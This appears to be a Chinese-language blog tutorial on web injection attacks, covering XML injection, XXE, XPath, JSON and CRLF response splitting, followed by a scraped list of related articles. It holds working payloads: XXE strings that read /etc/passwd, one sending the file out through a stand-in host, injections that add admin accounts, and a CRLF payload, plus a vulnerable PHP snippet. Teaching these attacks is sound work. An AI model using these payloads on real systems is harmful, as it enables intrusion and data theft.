零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XML注入:

  1、本质:

  XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

  2、举例说明: 

 """
原始组织数据如下:
<USER role="guest">
<name>user1</name>
<password>uesr1</password>
<email>user1@test.com</email>
</USER>
用户本应提交的数据是user1 , user1 ,user1@test.com
如果用户提交的数据是
POST下
name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
就会导致生成一个新的管理员账户attack
"""
 /*
(1)有回显,直接读取文件
*/
<?php
$xml=$GET['XML'];
$data = simplexml_load_string($xml);
print_r($data);
>
/*
攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
*/
/*
(2)引用远程server上的XML文件 读取文件
*/
/*#1.xml:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
#payload
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
*/
 <!--原始XML为:-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
</adminuser>
<!--
例如攻击者可以修改password部分,则可以如下构造:
输入:
<admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
那么XML文件则会变成:
-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
<admin id="2">
<name>test</name>
<password>test</passsword>
</admin>
</adminuser>
<!--
增加了一个管理员权限账号。
-->

  3、危害:

    #常见攻击手段包括:

    #读取本地文件(可能包含敏感信息 /etc/shadow)

    #内存侵犯

    #任意代码执行

    #拒绝服务

  4、防御:   

    #对有改变XML结构的特殊输入进行过滤或者编码
    #filter list = ["&","<",">","'".'"',"/"]
    #在XML保存和展示之前都需要

二、Xpath注入:

  1、本质:

    #Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。

  2、举例:    

    一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
    例如:
      //USER [username/text()="admin" and password/text()="123456"]
    注入就是在引号内内容着手构造:
      例如password=> 111" or "2"="2

  3、防御:
    防御很简单,过滤特殊输入字符即可。

三、Json注入:

  1、本质:

  @json也是传输数据的一种格式,增加一个用户的json结构如下:

  {"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456

  2、防御:

    过滤关键字即可。

四、CRLF注入也叫HTTP响应截断:

  1、本质:

  也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。

  2、举例:假设数据部分是xss payload则会中招啊

 """
(1)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense
RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Server:******
******
(2)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
实际上就是:
Chinese
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html> RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html>
Server:******
****** 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
等 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload 常见的容易出问题的PHP函数
header()
setcookie()
session_id()
setrawcookie() 位置:
location -> 重定向到恶意地址
set-cookie -> 把自己数据写入cookie
"""

  3、防御:

    限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出

WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入的更多相关文章

  1. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  2. Python之路【第十五篇】:Web框架

    Python之路[第十五篇]:Web框架   Web框架本质 众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端. 1 2 3 4 5 6 ...

  3. 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)

    1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...

  4. 【Python五篇慢慢弹】快速上手学python

    快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...

  5. 【Python五篇慢慢弹】数据结构看python

    数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  6. 【Python五篇慢慢弹(3)】函数修行知python

    函数修行知python 作者:白宁超 2016年10月9日21:51:52 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  7. 【Python五篇慢慢弹(4)】模块异常谈python

    模块异常谈python 作者:白宁超 2016年10月10日12:08:31 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondo ...

  8. 【Python五篇慢慢弹(5)】类的继承案例解析,python相关知识延伸

    类的继承案例解析,python相关知识延伸 作者:白宁超 2016年10月10日22:36:57 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给 ...

  9. 第五篇 :微信公众平台开发实战Java版之如何获取公众号的access_token以及缓存access_token

    一.access_token简介 为了使第三方开发者能够为用户提供更多更有价值的个性化服务,微信公众平台 开放了许多接口,包括自定义菜单接口.客服接口.获取用户信息接口.用户分组接口.群发接口等, 开 ...

随机推荐

  1. Beego 框架学习(一)

    1.特性 beego是一个http框架 高性能,是目前最快的的go框架 开发快捷,组件多,高度解耦 RESTful方式,可以自定义action 文档完整 智能路由.智能监控 2.安装 go get g ...

  2. 【转】ImageView的Scaletype参数设置

    ImageView的Scaletype决定了图片在View上显示时的样子,如进行何种比例的缩放,及显示图片的整体还是部分,等等. 设置的方式包括: 1. 在layout xml中定义Android:s ...

  3. 十个jQuery图片画廊插件推荐

    jQuery的画廊插件可以将分组图像和多媒体资料转成类似Flash的图像或照片.当幻灯片已经成为网站的重要组成部分,jQuery的重要性不能被忽视.下面为你介绍了10个最有美感,创新性和创造性的jQu ...

  4. ubuntu 16.04 安装pycharm

    Ubuntu16.04下安装Cuda8.0+Caffe+TensorFlow-gpu+Pycharm过程(Simple) ubuntu 16.04 安装pycharm 1.安装java  jdk 直接 ...

  5. Android XmlPullParser 笔记

    使用XmlPullParser解析xml文件. 要解析的xml文件如下所示. weather.xml <?xml version="1.0" encoding="u ...

  6. imx6 android4.2 编译

    编译imx6dl android4.2的镜像,记录编译的命令. Build Android Image # Build Android images for i.MX6 SABRE-SD boards ...

  7. C# 过滤sql特殊字符方法集合

    1./// <summary>    /// 过滤不安全的字符串    /// </summary>    /// <param name="Str" ...

  8. 【案例分析】Linux下怎样查看port占用情况

    作者:zhanhailiang 日期:2014-11-08 基于express写一个測试server代码例如以下,可是执行失败,报"listen EADDRINUSE".字面上理解 ...

  9. jQuery checkbox选中问题之prop与attr注意点分析

    $(function () {   // 全选   $("#btnCheckAll").bind("click", function () {     $(&q ...

  10. #import 无法打开源文件msado.tlh

    #import 无法打开源文件msado.tlh #import "c:\program files\common files\system\ado\msado15.dll" no ...